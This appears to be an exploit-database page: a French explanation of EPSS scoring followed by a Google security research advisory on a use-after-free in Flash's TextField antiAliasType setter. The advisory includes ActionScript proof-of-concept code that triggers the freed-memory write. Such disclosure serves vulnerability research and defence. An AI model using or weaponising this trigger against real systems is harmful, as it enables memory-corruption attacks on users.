EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=560 There is a use-after-free in the TextField antiAliasType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed. A PoC is as follows: var toptf = this.createEmptyMovieClip("toptf", 1); function func(){ toptf.removeMovieClip(); trace("here"); return "advanced"; } var o = {toString : func}; var my_format:TextFormat = new TextFormat(); my_format.font = "Times-12"; var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100); my_text1.text = "this.gridFitType = none"; my_text1.embedFonts = true; my_text1.antiAliasType = o; my_text1.gridFitType = "none"; my_text1.setTextFormat(my_format); var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100); my_text2.text = "this.gridFitType = advanced"; my_text2.embedFonts = true; my_text2.antiAliasType = "advanced"; my_text2.gridFitType = "pixel"; my_text2.setTextFormat(my_format); var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100); my_text3.text = "this.gridFitType = subpixel"; my_text3.embedFonts = true; my_text3.antiAliasType = "advanced"; my_text3.gridFitType = "subpixel"; my_text3.setTextFormat(my_format); A sample fla and swf are attached.
